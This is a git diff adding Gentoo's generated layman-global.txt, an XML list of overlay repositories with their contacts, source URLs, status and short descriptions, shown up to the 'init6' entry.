diff --git a/xml/htdocs/proj/en/overlays/layman-global.txt b/xml/htdocs/proj/en/overlays/layman-global.txt
new file mode 100644
index 00000000..2a3a29f7
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/layman-global.txt
@@ -0,0 +1,1319 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/overlays/layman-global.txt,v 1.428 2010/08/23 17:29:02 robbat2 Exp $ -->
+<layman>
+  <overlay contact="aidecoe@aidecoe.name" name="aidecoe" src="git://github.com/aidecoe/aidecoe-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/aidecoe/aidecoe-overlay/tree/master</link>
+    <description>aidecoe's experimental overlay</description>
+  </overlay>
+  <overlay contact="geekounet@poildetroll.net" name="akoya" src="https://hg.poildetroll.net/hg/gentoo/overlay" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>https://trac.poildetroll.net/trac/akoya</link>
+    <description>Akoya overlay</description>
+  </overlay>
+  <overlay contact="alex.cepoi@gmail.com" name="alexcepoi" src="git://git.overlays.gentoo.org/user/alexcepoi.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/alexcepoi.git;a=summary</link>
+    <description>Personal User Overlay</description>
+  </overlay>
+  <overlay contact="alexxy@gentoo.org" name="alexxy" src="git://git.overlays.gentoo.org/dev/alexxy.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/alexxy.git</link>
+    <description>Some random work in progress stuff from alexxy</description>
+  </overlay>
+  <overlay contact="overlay@amielke.de" name="amielke-overlay" src="git://github.com/amielke/amielke-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://amielke.de/</link>
+    <description>Overlay with focus on VDR and software that is not in Portage</description>
+  </overlay>
+  <overlay contact="anarchy@gentoo.org" name="anarchy" src="git://git.overlays.gentoo.org/dev/anarchy" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/anarchy.git;a=summary</link>
+    <description>Testing/Bug fixes, new ebuilds</description>
+  </overlay>
+  <overlay contact="post@belahausmann.name" name="and3k-sunrise" src="http://bitbucket.org/and3k/and3k-sunrise-overlay" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://bitbucket.org/and3k/and3k-sunrise-overlay</link>
+    <description>and3ks unstable ebuilds</description>
+  </overlay>
+  <overlay contact="non7top@gmail.com" name="arcon" src="https://arcon.googlecode.com/hg/" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.google.com/p/arcon/</link>
+    <description>Arcon Overlay!</description>
+  </overlay>
+  <overlay contact="luke_armagetron@dashjr.org" name="armagetron" src="https://armagetronad.svn.sourceforge.net/svnroot/armagetronad/armagetronad/trunk/build/gentoo/overlay" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://armagetronad.net</link>
+    <description>3D light cycles, like the movie TRON</description>
+  </overlay>
+  <overlay contact="aross@gentoo.org" name="aross" src="svn://overlays.gentoo.org/dev/aross" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/aross</link>
+    <description>Personal scratch space.</description>
+  </overlay>
+  <overlay contact="bangert@gentoo.org" name="bangert" src="svn://overlays.gentoo.org/dev/bangert/ebuilds" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>Some ebuilds not yet ready for mainstream portage from Thilo
+    Bangert [bangert@gentoo.org].</description>
+  </overlay>
+  <overlay contact="malept@malept.com" name="bazaar" src="lp:bzr-gentoo-overlay" status="unofficial" type="bzr">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>https://launchpad.net/bzr-gentoo-overlay/</link>
+    <description>A collection of Bazaar-related ebuilds, including release
+    candidates of Bazaar.</description>
+  </overlay>
+  <overlay contact="vahki.ttc@gmail.com" name="belak" src="http://bitbucket.org/belak/belak.gentoo" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/belak/gentoo.overlay</link>
+    <description>belak's gentoo overlay for testing</description>
+  </overlay>
+  <overlay contact="benjaminfranzke@gmail.com" name="benf" src="git://git.overlays.gentoo.org/user/benf.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/benf.git;a=summary</link>
+    <description>ben's overlay</description>
+  </overlay>
+  <overlay contact="yngwin@gmail.com" name="berkano" src="http://svn.liveforge.org/berkano/trunk" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://svn.liveforge.org/berkano/trunk</link>
+    <description>Berkano overlay provides an overlay for Gentoo Linux with
+    ebuilds of bleeding edge software (such as live subversion builds) and
+    other handy tools that are missing from the official portage tree. Areas of
+    interest include multimedia and system administration.</description>
+  </overlay>
+  <overlay contact="betagarden@gentoo.org" name="betagarden" src="git://git.overlays.gentoo.org/proj/betagarden.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/betagarden.git;a=summary</link>
+    <description>Joint beta-quality overlay effort to reduce overlay scatter. Any dev is welcome to join.</description>
+  </overlay>
+  <overlay contact="betelgeuse@gentoo.org" name="betelgeuse" src="svn://overlays.gentoo.org/dev/betelgeuse" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>https://overlays.gentoo.org/dev/betelgeuse</link>
+    <description>Betelgeuse's developer overlay</description>
+  </overlay>
+  <overlay contact="ristioja@gmail.com" name="bibletime" src="git://git.overlays.gentoo.org/user/bibletime.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/bibletime.git;a=summary</link>
+    <description>BibleTime overlay</description>
+  </overlay>
+  <overlay contact="blueness@gentoo.org" name="blueness" src="git://git.overlays.gentoo.org/dev/blueness" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/blueness.git;a=summary</link>
+    <description>Developer Overlay</description>
+  </overlay>
+  <overlay contact="support@calculate.ru" name="calculate" src="git://git.calculate.ru/dev/overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://calculate-linux.org</link>
+    <description>Calculate Overlay</description>
+  </overlay>
+  <overlay contact="lu_zero@gentoo.org" name="cell" src="svn://overlays.gentoo.org/proj/cell" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/cell</link>
+    <description>Support for Cell architecture, including IBM blade and Sony
+    Playstation 3</description>
+  </overlay>
+  <overlay contact="transacid@centerim.org" name="centerim" src="git://github.com/transacid/CenterIM-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/transacid/CenterIM-overlay</link>
+    <description>Latest tarballs from the CenterIM Mob-branch and a live ebuild.</description>
+  </overlay>
+  <overlay contact="chtekk@longitekk.com" name="chtekk-apps" src="svn://projects.longitekk.com/projects/gentoo-ebuilds" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://projects.longitekk.com:8000/Projects</link>
+    <description>Overlay for various applications I use myself.</description>
+  </overlay>
+  <overlay contact="chutzpah@gentoo.org" name="chutzpah" src="git://git.overlays.gentoo.org/dev/chutzpah" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/chutzpah.git;a=summary</link>
+    <description>Random stuff I am working on which isn't ready for the tree for some reason</description>
+  </overlay>
+  <overlay contact="johnrdoe63@cregion.ru" name="crg" src="rsync://rsync.cregion.ru/crg-overlay" status="unofficial" type="rsync">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://wiki.cregion.ru/moin.cgi/CRG_Overlay</link>
+    <description>CRG-Overlay for Gentoo Linux</description>
+  </overlay>
+  <overlay contact="anush@chromium.org" name="chromiumos" src="http://git.chromium.org/git/chromiumos-overlay" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.chromium.org/cgi-bin/gitweb.cgi?p=chromiumos-overlay.git;a=summary</link>
+    <description>ChromiumOS overlay</description>
+  </overlay>
+  <overlay contact="alvaro.castro.castilla@gmail.com" name="d" src="http://subversion.assembla.com/svn/d-overlay" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.assembla.com/d-overlay/subversion/nodes</link>
+    <description>A collection of ebuilds related to the D programming
+    language.</description>
+  </overlay>
+  <overlay contact="dagger@gentoo.org" name="dagger" src="git://git.overlays.gentoo.org/dev/dagger" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/dagger.git;a=summary</link>
+    <description>Dagger developer overlay</description>
+  </overlay>
+  <overlay contact="dberkholz@gentoo.org" name="dberkholz" src="git://git.overlays.gentoo.org/dev/dberkholz" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~dberkholz/overlay/</link>
+    <description>Donnie Berkholz's private developer overlay</description>
+  </overlay>
+  <overlay contact="deathwing00@gentoo.org" name="deathwing00" src="svn://overlays.gentoo.org/dev/deathwing00" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>Experimental ebuilds from the private overlay of Ioannis
+    Aslanidis [deathwing00@gentoo.org].</description>
+  </overlay>
+  <overlay contact="dertobi123@gentoo.org" name="dertobi123" src="svn://overlays.gentoo.org/dev/dertobi123" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>Some ebuilds not yet ready for mainstream portage from Tobias
+    Scherbaum [dertobi123@gentoo.org].</description>
+  </overlay>
+  <overlay contact="desktop-effects@gentoo.org" name="desktop-effects" src="git://git.overlays.gentoo.org/proj/desktop-effects.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Experimental overlay for desktop effects
+    packages.</description>
+  </overlay>
+  <overlay contact="dev-zero@gentoo.org" name="dev-zero" src="git://git.overlays.gentoo.org/dev/dev-zero" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~dev-zero/</link>
+    <description>Dev-zeros personal developer overlay</description>
+  </overlay>
+  <overlay contact="nico@core.ws" name="devnull" src="http://hg.core.ws/devnull" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://devnull.core.ws/EbuildRepository/</link>
+    <description>Various ebuilds, most of them are bleeding edge scm versions,
+    the others have not found their way into portage yet.</description>
+  </overlay>
+  <overlay contact="mail@akhuettel.de" name="dilfridge" src="git://git.overlays.gentoo.org/user/dilfridge.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/dilfridge.git;a=summary</link>
+    <description>Dilfridge overlay: experimental ebuilds and lab software</description>
+  </overlay>
+  <overlay contact="dirtyepic@gentoo.org" name="dirtyepic" src="svn://overlays.gentoo.org/dev/dirtyepic" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/dirtyepic</link>
+    <description>Various work-in-progress stuff including GCC-svn and
+    wxGTK.</description>
+  </overlay>
+  <overlay contact="dotnet@gentoo.org" name="dotnet" src="git://git.overlays.gentoo.org/proj/dotnet.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/dotnet.git;a=summary</link>
+    <description>Experimental overlay for .NET packages.</description>
+  </overlay>
+  <overlay contact="andrea@dottout.com" name="dottout" src="git://repo.or.cz/dottout.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://repo.or.cz/w/dottout.git</link>
+    <description>Dottout overlay</description>
+  </overlay>
+  <overlay contact="drizzt@gentoo.org" name="drizzt-overlay" src="svn://overlays.gentoo.org/dev/drizzt/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://drizzt.bsdnet.eu/</link>
+    <description>drizzt's private developer overlay</description>
+  </overlay>
+  <overlay contact="dustin.polke@uni-siegen.de" name="DuPol" src="git://git.overlays.gentoo.org/user/DuPol.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/DuPol.git;a=summary</link>
+    <description>DuPol's own and modified portage ebuilds.</description>
+  </overlay>
+  <overlay contact="russ@eatnumber1.com" name="eatnumber1" src="git://git.overlays.gentoo.org/user/eatnumber1.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/eatnumber1.git;a=summary</link>
+    <description>Eatnumber1's personal overlay</description>
+  </overlay>
+  <overlay contact="wolf31o2@wolf31o2.org" name="efika" src="svn://overlays.gentoo.org/proj/efika" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Temporary overlay for adding support for the EFIKA platform to
+    Gentoo.</description>
+  </overlay>
+  <overlay contact="emacs@gentoo.org" name="emacs" src="svn://overlays.gentoo.org/proj/emacs/emacs-overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/emacs/</link>
+    <description>Provide Emacs related ebuilds which are a bit experimental or
+    work-in-progress. Don't rely on them, but don't hesitate to file bugs or
+    write emails.</description>
+  </overlay>
+  <overlay contact="armin76@gentoo.org" name="embedded-cross" src="git://git.overlays.gentoo.org/proj/embedded-cross.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/embedded-cross.git;a=summary</link>
+    <description>Gentoo cross-compilation overlay for embedded devices</description>
+  </overlay>
+  <overlay contact="enlightenment@gentoo.org" name="enlightenment" src="svn://overlays.gentoo.org/dev/vapier/enlightenment" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/vapier/wiki/enlightenment</link>
+    <description>Support for the Enlightenment project, most notably
+    DR17/e17.</description>
+  </overlay>
+  <overlay contact="eva@gentoo.org" name="eva" src="git://git.overlays.gentoo.org/dev/eva.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/eva.git;a=summary</link>
+    <description>Developer overlay</description>
+  </overlay>
+  <overlay contact="jon@eyolfson.com" name="eyolfson" src="git://github.com/eyolfson/overlay-eyolfson.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/eyolfson/overlay-eyolfson</link>
+    <description>Jon Eyolfson's personal overlay.</description>
+  </overlay>
+  <overlay contact="falco@gentoo.org" name="falco" src="git://git.overlays.gentoo.org/dev/falco" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~falco/</link>
+    <description>Falco's random stuff about netmon, net-mail or security,
+    unofficial ebuilds like proxsmtp, unofficial patches on Postfix; also
+    pre-stable security upgrades, perhaps merged in the Security Overlay
+    Project some day.</description>
+  </overlay>
+  <overlay contact="ferringb@gmail.com" name="ferringb" src="http://pkgcore.org/~ferringb/bzr/overlay" status="unofficial" type="bzr">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.pkgcore.org/~ferringb/</link>
+    <description>Brian Harring's private development overlay</description>
+  </overlay>
+  <overlay contact="flammie@gentoo.org" name="finnish" src="svn://overlays.gentoo.org/proj/finnish/trunk" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/finnish</link>
+    <description>Finnish overlay for spell checking etc. etc.</description>
+  </overlay>
+  <overlay contact="flameeyes@gmail.com" name="flameeyes-overlay" src="git://git.overlays.gentoo.org/dev/flameeyes.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://blog.flameeyes.eu/</link>
+    <description>Flameeyes' private developer overlay</description>
+  </overlay>
+  <overlay contact="jabberuser@gmail.com" name="foo-overlay" src="git://github.com/slashbeast/foo-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/slashbeast/foo-overlay</link>
+    <description>Piotr's fixes and new packages</description>
+  </overlay>
+  <overlay contact="dischi@freevo.org" name="freevo" src="svn://svn.freevo.org/freevo/portage/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.freevo.org</link>
+    <description>The Freevo overlay provides ebuils for development snapshots
+    of the unreleased Freevo 2.0 and its dependencies.</description>
+  </overlay>
+  <overlay contact="scarabeus@gentoo.org" name="gamerlay" src="git://git.overlays.gentoo.org/proj/gamerlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/gamerlay.git</link>
+    <description>
+		Gamers overlay for all various games. Not related with games team.
+ 	</description>
+  </overlay>
+  <overlay contact="games@gentoo.org" name="games" src="svn://overlays.gentoo.org/proj/games" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://games.gentoo.org/</link>
+    <description>A collection of work-in-progress ebuilds and ebuilds which
+    require testing.</description>
+  </overlay>
+  <overlay contact="gcc-porting@gentoo.org" name="gcc-porting" src="svn://overlays.gentoo.org/proj/gcc-porting" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/gcc-porting/</link>
+    <description>Compatibility patches for upcoming GCC releases.</description>
+  </overlay>
+  <overlay contact="gechi+subscribe@gechi.it" name="gechi" src="https://gechi-overlay.svn.sourceforge.net/svnroot/gechi-overlay/overlay/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://sourceforge.net/projects/gechi-overlay/</link>
+    <description>The Gechi Overlay offers a repository of Gentoo Ebuilds made by
+        Gechi users. The scope is to cover all projects
+        sponsored/developed by the Gechi and making them easily available.</description>
+  </overlay>
+  <overlay contact="genstef@gentoo.org" name="genstef" src="svn://overlays.gentoo.org/dev/genstef" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/genstef</link>
+    <description>Genstef's Overlay - It usually contains some experimental
+    ebuilds on their way to the tree</description>
+  </overlay>
+  <overlay contact="powderluv@powderluv.org" name="gentoo-arm" src="git://gitorious.org/gentoo-arm-overlay/gentoo-arm-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gentooarm.powderluv.org/</link>
+    <description>Gentoo ARM Overlay</description>
+  </overlay>
+  <overlay contact="welp@gentoo.org" name="gentoo-bsd" src="git://git.overlays.gentoo.org/proj/gentoo-bsd.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/gentoo-bsd.git</link>
+    <description>Gentoo/BSD Project Overlay</description>
+  </overlay>
+  <overlay contact="r0bertz@gentoo.org" name="gentoo-china" src="http://gentoo-china-overlay.googlecode.com/svn/trunk/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.google.com/p/gentoo-china-overlay</link>
+    <description>Purpose To provide some programs useful to Chinese
+    users.</description>
+  </overlay>
+  <overlay contact="laurent@gentoo-quebec.org" name="gentoo-quebec" src="https://gentoo-quebec.org/svn/gentoo-quebec/trunk/overlay/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.gentoo-quebec.org</link>
+    <description>New ebuilds created by the Gentoo-Quebec team.</description>
+  </overlay>
+  <overlay contact="scsichen@gmail.com" name="gentoo-taiwan" src="http://gentoo-taiwan.googlecode.com/svn/trunk/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gentoo-taiwan.googlecode.com/</link>
+    <description>A collection of ebuilds from Gentoo Taiwan.</description>
+  </overlay>
+  <overlay contact="jp-admins@gentoo.gr.jp" name="gentoojp" src="git://git.gentoo.gr.jp/ebuilds/gentoojp.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://ebuild.gentoo.gr.jp/</link>
+    <description>GentooJP provides custom ebuilds for Japanese Gentoo
+    users.</description>
+  </overlay>
+  <overlay contact="gnome@gentoo.org" name="gnome" src="git://git.overlays.gentoo.org/proj/gnome.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome.git;a=summary</link>
+    <description>experimental gnome ebuilds</description>
+  </overlay>
+  <overlay contact="gnome@gentoo.org" name="gnome-live" src="git://git.overlays.gentoo.org/proj/gnome-live.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/gnome-live.git;a=summary</link>
+    <description>highly experimental gnome live ebuilds</description>
+  </overlay>
+  <overlay contact="ramereth@gentoo.org" name="gnr" src="git://github.com/ramereth/gnr-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/ramereth/gnr-overlay/tree/master</link>
+    <description>Gentoo Netbook Remix (GNR)</description>
+  </overlay>
+  <overlay contact="gnustep@gentoo.org" name="gnustep" src="svn://overlays.gentoo.org/proj/gnustep/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/gnustep</link>
+    <description>Experimental ebuilds for GNUstep packages in Gentoo. Comments
+    and bugreports are welcome!</description>
+  </overlay>
+  <overlay contact="gpe@gentoo.org" name="gpe" src="git://git.overlays.gentoo.org/proj/gpe.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/gpe.git;a=summary</link>
+    <description>experimental gpe ebuilds</description>
+  </overlay>
+  <overlay contact="graaff@gentoo.org" name="graaff" src="http://moving-innovations.com/overlay" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://moving-innovations.com/blog/</link>
+    <description>Developer overlay of Hans de Graaff with mostly ruby and
+    xemacs ebuilds, and a few assorted other goodies.</description>
+  </overlay>
+  <overlay contact="halcy0n@gentoo.org" name="halcy0n" src="git://git.overlays.gentoo.org/dev/halcy0n.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/halcy0n.git;a=summary</link>
+    <description>Various packages, probably some toolchain stuff
+    though</description>
+  </overlay>
+  <overlay contact="hanno@gentoo.org" name="hanno" src="https://svn.hboeck.de/overlay/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.hboeck.de</link>
+    <description>Hanno Boeck developer overlay.</description>
+  </overlay>
+  <overlay contact="hardened@gentoo.org" name="hardened-development" src="git://git.overlays.gentoo.org/proj/hardened-dev.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/hardened-dev.git;a=summary</link>
+    <description>Development Overlay for Hardened Gcc 4.x Toolchain</description>
+  </overlay>
+  <overlay contact="haskell@gentoo.org" name="haskell" src="http://code.haskell.org/gentoo/gentoo-haskell/" status="official" type="darcs">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.haskell.org/gentoo/gentoo-haskell/</link>
+    <description>The Official Gentoo Haskell overlay.</description>
+  </overlay>
+  <overlay contact="hawking@gentoo.org" name="hawking" src="git://git.overlays.gentoo.org/dev/hawking" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~hawking/</link>
+    <description>hawking's random ebuilds.</description>
+  </overlay>
+  <overlay contact="hollow@gentoo.org" name="hollow" src="git://git.xnull.de/overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.xnull.de/gitweb/?p=overlay.git</link>
+    <description>A collection of work-in-progress ebuilds and other fun broken
+    things.</description>
+  </overlay>
+  <overlay contact="hwoarang@gentoo.org" name="hwoarang" src="git://git.overlays.gentoo.org/dev/hwoarang" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~hwoarang/</link>
+    <description>hwoarangs' testing ebuilds</description>
+  </overlay>
+  <overlay contact="ibormuth@efil.de" name="ibormuth" src="git://repo.or.cz/gentoo-overlay-ibormuth.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://repo.or.cz/w/gentoo-overlay-ibormuth.git</link>
+    <description>Personal Overlay of Ingo Bormuth</description>
+  </overlay>
+  <overlay contact="domen@dev.si" name="iElectric" src="git://git.overlays.gentoo.org/user/iElectric.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/iElectric.git</link>
+    <description>iElectric's personal overlay</description>
+  </overlay>
+  <overlay contact="ikelos@gentoo.org" name="ikelos" src="git://git.overlays.gentoo.org/dev/ikelos.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/ikelos.git;a=summary</link>
+    <description>Ikelos's hospice for broken and damaged ebuilds.</description>
+  </overlay>
+  <overlay contact="sudormrfhalt@gmail.com" name="init6" src="git://github.com/init6/init_6.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/init6/init_6</link>
+    <description>Mostly fixes and new unstable packages</description>
+  </overlay>
